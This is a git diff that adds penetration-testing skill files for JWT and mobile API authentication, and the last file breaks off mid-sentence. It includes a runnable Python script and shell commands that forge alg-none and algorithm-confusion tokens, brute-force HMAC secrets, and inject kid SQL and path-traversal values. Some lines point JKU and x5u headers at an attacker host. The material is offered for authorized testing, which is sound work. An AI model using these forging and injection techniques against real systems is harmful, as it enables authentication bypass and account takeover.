burpsuite +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1505.003 +- T1083 +- T1027 +--- + +# Testing JWT Token Security + +## When to Use + +- During authorized penetration tests when the application uses JWT for authentication or authorization +- When assessing API security where JWTs are passed as Bearer tokens or in cookies +- For evaluating SSO implementations that use JWT/JWS/JWE tokens +- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs +- During security audits of microservice architectures using JWT for inter-service authentication + +## Prerequisites + +- **Authorization**: Written penetration testing agreement for the target +- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https://github.com/ticarpi/jwt_tool.git`) +- **Burp Suite Professional**: With JSON Web Token extension from BApp Store +- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`) +- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`) +- **jq**: For JSON processing +- **Target JWT**: A valid JWT token from the application + +## Workflow + +### Step 1: Decode and Analyze the JWT Structure + +Extract and examine the header, payload, and signature components. + +```bash +# Decode JWT parts (base64url decode) +JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" + +# Decode header +echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq . +# Output: {"alg":"HS256","typ":"JWT"} + +# Decode payload +echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq . +# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022} + +# Using jwt_tool for comprehensive analysis +python3 jwt_tool.py "$JWT" + +# Check for sensitive data in the payload: +# - PII (email, phone, address) +# - Internal IDs or database references +# - Role/permission claims +# - Expiration times (exp, nbf, iat) +# - Issuer (iss) and audience (aud) +``` + +### Step 2: Test Algorithm None Attack + +Attempt to forge tokens by setting the algorithm to "none". + +```bash +# jwt_tool algorithm none attack +python3 jwt_tool.py "$JWT" -X a + +# Manual none algorithm attack +# Create header: {"alg":"none","typ":"JWT"} +HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_') + +# Create modified payload (change role to admin) +PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_') + +# Construct token with empty signature +FORGED_JWT="${HEADER}.${PAYLOAD}." +echo "Forged JWT: $FORGED_JWT" + +# Test the forged token +curl -s -H "Authorization: Bearer $FORGED_JWT" \ + "https://target.example.com/api/admin/users" | jq . + +# Try variations: "None", "NONE", "nOnE" +for alg in none None NONE nOnE; do + HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_') + FORGED="${HEADER}.${PAYLOAD}." + echo -n "alg=$alg: " + curl -s -o /dev/null -w "%{http_code}" \ + -H "Authorization: Bearer $FORGED" \ + "https://target.example.com/api/admin/users" + echo +done +``` + +### Step 3: Test Algorithm Confusion (RS256 to HS256) + +If the server uses RS256, try switching to HS256 and signing with the public key. + +```bash +# Step 1: Obtain the server's public key +# Check common locations +curl -s "https://target.example.com/.well-known/jwks.json" | jq . +curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri +curl -s "https://target.example.com/oauth/certs" | jq . + +# Step 2: Extract public key from JWKS +# Save the JWKS and convert to PEM format +# Use jwt_tool or openssl + +# Step 3: jwt_tool key confusion attack +python3 jwt_tool.py "$JWT" -X k -pk public_key.pem + +# Manual algorithm confusion attack with Python +python3 << 'PYEOF' +import jwt +import json + +# Read the server's RSA public key +with open('public_key.pem', 'r') as f: + public_key = f.read() + +# Create forged payload +payload = { + "sub": "1234567890", + "name": "Admin User", + "role": "admin", + "iat": 1516239022, + "exp": 9999999999 +} + +# Sign with HS256 using the RSA public key as the HMAC secret +forged_token = jwt.encode(payload, public_key, algorithm='HS256') +print(f"Forged token: {forged_token}") +PYEOF + +# Test the forged token +curl -s -H "Authorization: Bearer $FORGED_TOKEN" \ + "https://target.example.com/api/admin/users" +``` + +### Step 4: Brute-Force HMAC Secret + +If HS256 is used, attempt to crack the signing secret. + +```bash +# Using jwt_tool with common secrets +python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt + +# Using hashcat for GPU-accelerated cracking +# Mode 16500 = JWT (HS256) +hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt + +# Using john the ripper +echo "$JWT" > jwt_hash.txt +john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 + +# If secret is found, forge arbitrary tokens +python3 << 'PYEOF' +import jwt + +secret = "cracked_secret_here" +payload = { + "sub": "1", + "name": "Admin", + "role": "admin", + "exp": 9999999999 +} +token = jwt.encode(payload, secret, algorithm='HS256') +print(f"Forged token: {token}") +PYEOF +``` + +### Step 5: Test JWT Claim Manipulation and Injection + +Modify JWT claims to escalate privileges or bypass authorization. + +```bash +# Using jwt_tool for claim tampering +# Change role claim +python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \ + -pc role -pv admin + +# Test common claim attacks: + +# 1. JKU (JWK Set URL) injection +python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json" +# Host attacker-controlled JWKS at the URL + +# 2. KID (Key ID) injection +# SQL injection in kid parameter +python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p "" +# If kid is used in file path lookup, point to /dev/null (empty key) + +# SQL injection via kid +python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret" + +# 3. x5u (X.509 URL) injection +python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem" + +# 4. Modify subject and role claims +python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \ + -pc sub -pv "admin@target.com" \ + -pc role -pv "superadmin" +``` + +### Step 6: Test Token Lifetime and Revocation + +Assess token expiration enforcement and revocation capabilities. + +```bash +# Test expired token acceptance +python3 << 'PYEOF' +import jwt +import time + +secret = "known_secret" +# Create token that expired 1 hour ago +payload = { + "sub": "user123", + "role": "user", + "exp": int(time.time()) - 3600, + "iat": int(time.time()) - 7200 +} +expired_token = jwt.encode(payload, secret, algorithm='HS256') +print(f"Expired token: {expired_token}") +PYEOF + +curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \ + "https://target.example.com/api/profile" -w "%{http_code}" + +# Test token with far-future expiration +python3 << 'PYEOF' +import jwt + +secret = "known_secret" +payload = { + "sub": "user123", + "role": "user", + "exp": 32503680000 # Year 3000 +} +long_lived = jwt.encode(payload, secret, algorithm='HS256') +print(f"Long-lived token: {long_lived}") +PYEOF + +# Test token reuse after logout +# 1. Capture JWT before logout +# 2. Log out (call /auth/logout) +# 3. Try using the captured JWT again +curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \ + "https://target.example.com/api/profile" -w "%{http_code}" +# If 200, tokens are not revoked on logout + +# Test token reuse after password change +# Similar test: capture JWT, change password, reuse old JWT +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` | +| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret | +| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force | +| **JKU/x5u Injection** | Pointing JWT header URLs to attacker-controlled key servers | +| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter | +| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key | +| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration | +| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules | +| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation | +| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) | +| **John the Ripper** | CPU-based JWT secret cracking | +| **PyJWT** | Python library for programmatic JWT creation and manipulation | +| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) | + +## Common Scenarios + +### Scenario 1: Algorithm None Bypass +The JWT library accepts `"alg":"none"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header. + +### Scenario 2: Weak HMAC Secret +The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation. + +### Scenario 3: Algorithm Confusion on SSO +An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256. + +### Scenario 4: KID SQL Injection +The `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key. + +## Output Format + +``` +## JWT Security Finding + +**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256) +**Severity**: Critical (CVSS 9.8) +**Location**: Authorization header across all API endpoints +**OWASP Category**: A02:2021 - Cryptographic Failures + +### JWT Configuration +| Property | Value | +|----------|-------| +| Algorithm | RS256 (also accepts HS256) | +| Issuer | auth.target.example.com | +| Expiration | 24 hours | +| Public Key | Available at /.well-known/jwks.json | +| Revocation | Not implemented | + +### Attacks Confirmed +| Attack | Result | +|--------|--------| +| Algorithm None | Blocked | +| Algorithm Confusion (RS256→HS256) | VULNERABLE | +| HMAC Brute Force | N/A (RSA) | +| KID Injection | Not present | +| Expired Token Reuse | Accepted (no revocation) | + +### Impact +- Complete authentication bypass via forged admin tokens +- Any user can escalate to any role by forging JWT claims +- Tokens remain valid after logout (no server-side revocation) + +### Recommendation +1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms) +2. Use asymmetric algorithms (RS256/ES256) with proper key management +3. Implement token revocation via a blocklist or short expiration with refresh tokens +4. Validate all JWT claims server-side (iss, aud, exp, nbf) +5. Use a minimum key length of 256 bits for HMAC secrets +``` diff --git a/skills/cybersecurity/testing-jwt-token-security/references/api-reference.md b/skills/cybersecurity/testing-jwt-token-security/references/api-reference.md new file mode 100644 index 00000000..68501c59 --- /dev/null +++ b/skills/cybersecurity/testing-jwt-token-security/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Testing JWT Token Security + +## PyJWT Library + +### Installation +```bash +pip install PyJWT +``` + +### Encoding (Creating Tokens) +```python +import jwt +token = jwt.encode(payload, secret, algorithm="HS256") +``` + +### Decoding +```python +# Without verification (for analysis) +payload = jwt.decode(token, options={"verify_signature": False}) + +# With verification +payload = jwt.decode(token, secret, algorithms=["HS256"]) +``` + +### Supported Algorithms +| Algorithm | Type | Description | +|-----------|------|-------------| +| `HS256` | HMAC | SHA-256 symmetric signing | +| `HS384` | HMAC | SHA-384 symmetric signing | +| `HS512` | HMAC | SHA-512 symmetric signing | +| `RS256` | RSA | SHA-256 asymmetric signing | +| `RS384` | RSA | SHA-384 asymmetric signing | +| `ES256` | ECDSA | P-256 curve signing | + +## JWT Attack Types +| Attack | Description | Severity | +|--------|-------------|----------| +| Algorithm None | Set alg to "none", remove signature | Critical | +| Algorithm Confusion | Switch RS256 to HS256, sign with public key | Critical | +| HMAC Brute Force | Crack weak signing secrets | Critical | +| JKU Injection | Point JWK Set URL to attacker server | Critical | +| KID Injection | SQL injection or path traversal in Key ID | Critical | +| Claim Tampering | Modify role/sub claims after key compromise | High | +| Expired Token Reuse | Use tokens past expiration | High | +| No Revocation | Tokens valid after logout/password change | High | + +## JWT Structure +``` +Header.Payload.Signature +base64url({"alg":"HS256","typ":"JWT"}).base64url({"sub":"1","role":"user"}).HMACSHA256(...) +``` + +## Standard Claims +| Claim | Description | +|-------|-------------| +| `iss` | Token issuer | +| `sub` | Subject (user identifier) | +| `aud` | Intended audience | +| `exp` | Expiration time (Unix timestamp) | +| `nbf` | Not valid before time | +| `iat` | Issued at time | +| `jti` | Unique token identifier | + +## References +- PyJWT docs: https://pyjwt.readthedocs.io/ +- jwt_tool: https://github.com/ticarpi/jwt_tool +- JWT attacks: https://portswigger.net/web-security/jwt +- RFC 7519 (JWT): https://www.rfc-editor.org/rfc/rfc7519 diff --git a/skills/cybersecurity/testing-jwt-token-security/scripts/agent.py b/skills/cybersecurity/testing-jwt-token-security/scripts/agent.py new file mode 100755 index 00000000..75e94a86 --- /dev/null +++ b/skills/cybersecurity/testing-jwt-token-security/scripts/agent.py @@ -0,0 +1,237 @@ +#!/usr/bin/env python3 +"""Agent for testing JWT token security during authorized assessments.""" + +import jwt +import json +import hmac +import hashlib +import base64 +import os +import argparse +import requests +import urllib3 +from datetime import datetime, timedelta, timezone +from urllib.parse import urljoin + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def decode_jwt(token): + """Decode and display JWT header and payload without verification.""" + parts = token.split(".") + if len(parts) != 3: + print("[-] Invalid JWT format (expected 3 parts)") + return None, None + + def b64_decode(data): + padding = 4 - len(data) % 4 + data += "=" * padding + return base64.urlsafe_b64decode(data) + + header = json.loads(b64_decode(parts[0])) + payload = json.loads(b64_decode(parts[1])) + + print("[*] JWT Header:") + print(json.dumps(header, indent=2)) + print("\n[*] JWT Payload:") + print(json.dumps(payload, indent=2)) + + if "exp" in payload: + exp_time = datetime.fromtimestamp(payload["exp"], tz=timezone.utc) + now = datetime.now(timezone.utc) + if exp_time < now: + print(f"\n [!] Token EXPIRED at {exp_time.isoformat()}") + else: + remaining = exp_time - now + print(f"\n [+] Token expires at {exp_time.isoformat()} ({remaining} remaining)") + return header, payload + + +def test_alg_none(token, target_url=None): + """Test algorithm none attack - forge token without signature.""" + print("\n[*] Testing algorithm 'none' attack...") + parts = token.split(".") + payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + "==")) + findings = [] + + for alg in ["none", "None", "NONE", "nOnE"]: + header = base64.urlsafe_b64encode( + json.dumps({"alg": alg, "typ": "JWT"}).encode() + ).rstrip(b"=").decode() + payload_data["role"] = "admin" + payload_encoded = base64.urlsafe_b64encode( + json.dumps(payload_data).encode() + ).rstrip(b"=").decode() + forged = f"{header}.{payload_encoded}." + + if target_url: + try: + resp = requests.get(target_url, headers={"Authorization": f"Bearer {forged}"}, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code == 200: + findings.append({ + "type": "ALG_NONE", "alg_value": alg, + "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: alg={alg} accepted (status {resp.status_code})") + else: + print(f" [+] alg={alg} rejected (status {resp.status_code})") + except requests.RequestException: + continue + else: + print(f" [*] Forged token (alg={alg}): {forged[:80]}...") + return findings + + +def test_hmac_brute_force(token, wordlist_path): + """Brute force HMAC secret using a wordlist.""" + print(f"\n[*] Brute forcing HMAC secret with {wordlist_path}...") + parts = token.split(".") + header = json.loads(base64.urlsafe_b64decode(parts[0] + "==")) + alg = header.get("alg", "HS256") + + if alg not in ("HS256", "HS384", "HS512"): + print(f" [-] Algorithm {alg} is not HMAC-based, skipping") + return None + + signing_input = f"{parts[0]}.{parts[1]}".encode() + signature = base64.urlsafe_b64decode(parts[2] + "==") + hash_func = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}[alg] + + try: + with open(wordlist_path, "r", errors="ignore") as f: + for i, line in enumerate(f): + secret = line.strip() + if not secret: + continue + computed = hmac.new(secret.encode(), signing_input, hash_func).digest() + if hmac.compare_digest(computed, signature): + print(f" [!] SECRET FOUND: '{secret}' (attempt {i+1})") + return secret + if (i + 1) % 10000 == 0: + print(f" [*] Tried {i+1} secrets...") + except FileNotFoundError: + print(f" [-] Wordlist not found: {wordlist_path}") + print(" [-] Secret not found in wordlist") + return None + + +def forge_token(secret, claims, algorithm="HS256"): + """Create a forged JWT with custom claims.""" + print(f"\n[*] Forging token with claims: {claims}") + if "exp" not in claims: + claims["exp"] = int((datetime.now(timezone.utc) + timedelta(hours=24)).timestamp()) + token = jwt.encode(claims, secret, algorithm=algorithm) + print(f" [+] Forged token: {token[:80]}...") + return token + + +def test_expired_token(token, target_url): + """Test if expired tokens are still accepted.""" + print(f"\n[*] Testing expired token acceptance...") + parts = token.split(".") + payload = json.loads(base64.urlsafe_b64decode(parts[1] + "==")) + if "exp" in payload and payload["exp"] < datetime.now(timezone.utc).timestamp(): + try: + resp = requests.get(target_url, headers={"Authorization": f"Bearer {token}"}, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code == 200: + print(f" [!] VULNERABLE: Expired token accepted (status {resp.status_code})") + return [{"type": "EXPIRED_TOKEN_ACCEPTED", "severity": "HIGH"}] + else: + print(f" [+] Expired token rejected (status {resp.status_code})") + except requests.RequestException: + pass + else: + print(" [*] Token not expired, skipping test") + return [] + + +def test_token_after_logout(token, target_url, logout_url): + """Test if token is still valid after logout.""" + print(f"\n[*] Testing token validity after logout...") + headers = {"Authorization": f"Bearer {token}"} + try: + pre = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if pre.status_code != 200: + print(" [-] Token not valid pre-logout, skipping") + return [] + requests.post(logout_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + post = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if post.status_code == 200: + print(f" [!] VULNERABLE: Token still valid after logout") + return [{"type": "NO_TOKEN_REVOCATION", "severity": "HIGH"}] + else: + print(f" [+] Token properly revoked after logout") + except requests.RequestException: + pass + return [] + + +def check_jwks_endpoint(base_url): + """Check for JWKS and OpenID configuration endpoints.""" + print(f"\n[*] Checking for JWKS/OIDC endpoints...") + endpoints = [ + "/.well-known/jwks.json", "/.well-known/openid-configuration", + "/oauth/certs", "/auth/keys", "/.well-known/keys", + ] + for ep in endpoints: + url = urljoin(base_url, ep) + try: + resp = requests.get(url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + if resp.status_code == 200: + print(f" [+] Found: {ep}") + data = resp.json() + if "keys" in data: + for key in data["keys"]: + print(f" Key ID: {key.get('kid', 'N/A')} | Alg: {key.get('alg', 'N/A')}") + except (requests.RequestException, json.JSONDecodeError): + continue + + +def generate_report(findings, output_path): + """Generate JWT security assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "findings": findings, + } + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Findings: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="JWT Token Security Testing Agent") + parser.add_argument("token", help="JWT token to test") + parser.add_argument("--target-url", help="URL to test forged tokens against") + parser.add_argument("--base-url", help="Base URL for JWKS discovery") + parser.add_argument("--wordlist", help="Wordlist for HMAC brute force") + parser.add_argument("--logout-url", help="Logout URL for revocation testing") + parser.add_argument("--forge-claims", help="JSON claims to forge (requires --secret)") + parser.add_argument("--secret", help="Known signing secret for forging") + parser.add_argument("-o", "--output", default="jwt_report.json") + args = parser.parse_args() + + print("[*] JWT Token Security Assessment") + findings = [] + header, payload = decode_jwt(args.token) + if args.base_url: + check_jwks_endpoint(args.base_url) + findings.extend(test_alg_none(args.token, args.target_url)) + if args.wordlist: + secret = test_hmac_brute_force(args.token, args.wordlist) + if secret: + findings.append({"type": "WEAK_HMAC_SECRET", "secret": secret, "severity": "CRITICAL"}) + if args.target_url: + findings.extend(test_expired_token(args.token, args.target_url)) + if args.target_url and args.logout_url: + findings.extend(test_token_after_logout(args.token, args.target_url, args.logout_url)) + if args.secret and args.forge_claims: + claims = json.loads(args.forge_claims) + forge_token(args.secret, claims) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/testing-mobile-api-authentication/LICENSE b/skills/cybersecurity/testing-mobile-api-authentication/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/testing-mobile-api-authentication/SKILL.md b/skills/cybersecurity/testing-mobile-api-authentication/SKILL.md new file mode 100644 index 00000000..7ab0fb48 --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/SKILL.md @@ -0,0 +1,203 @@ +--- +name: testing-mobile-api-authentication +description: 'Tests authentication and authorization mechanisms in mobile application + APIs to identify broken authentication, insecure token management, session fixation, + privilege escalation, and IDOR vulnerabilities. Use when performing API security + assessments against mobile app backends, testing JWT implementations, evaluating + OAuth flows, or assessing session management. Activates for requests involving mobile + API auth testing, token security assessment, OAuth mobile flow testing, or API authorization + bypass. + + ' +domain: cybersecurity +subdomain: mobile-security +author: mahipal +tags: +- mobile-security +- android +- ios +- api-security +- authentication +- penetration-testing +version: 1.0.0 +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- PR.AA-05 +- ID.RA-01 +- DE.CM-09 +mitre_attack: +- T1059 +- T1056 +- T1036 +- T1078 +- T1068 +--- +# Testing Mobile API Authentication + +## When to Use + +Use this skill when: +- Assessing mobile app backend API authentication during penetration tests +- Testing JWT token implementation for common vulnerabilities (none algorithm, weak signing) +- Evaluating OAuth 2.0 / OIDC flows in mobile applications for redirect, PKCE, and scope issues +- Testing for broken object-level authorization (BOLA/IDOR) in API endpoints + +**Do not use** this skill against production APIs without explicit authorization and rate-limiting awareness. + +## Prerequisites + +- Burp Suite or mitmproxy configured as mobile device proxy +- SSL pinning bypassed on target application (if implemented) +- Valid test account credentials for the target application +- Postman or curl for API request crafting +- jwt.io or PyJWT for JWT analysis and manipulation + +## Workflow + +### Step 1: Map Authentication Endpoints + +Intercept mobile app traffic to identify authentication-related endpoints: + +``` +POST /api/v1/auth/login - Initial authentication +POST /api/v1/auth/register - Account registration +POST /api/v1/auth/refresh - Token refresh +POST /api/v1/auth/logout - Session termination +POST /api/v1/auth/forgot-password - Password reset +POST /api/v1/auth/verify-otp - OTP verification +GET /api/v1/auth/me - Authenticated user profile +``` + +### Step 2: Analyze Token Format and Security + +**JWT Analysis:** +```bash +# Decode JWT without verification +echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null + +# Check for common JWT vulnerabilities: +# 1. None algorithm attack +# Change header to: {"alg":"none","typ":"JWT"} +# Remove signature: header.payload. + +# 2. Algorithm confusion (RS256 to HS256) +# If server uses RS256, try HS256 with public key as secret + +# 3. Weak signing key +# Use hashcat or jwt-cracker to brute-force 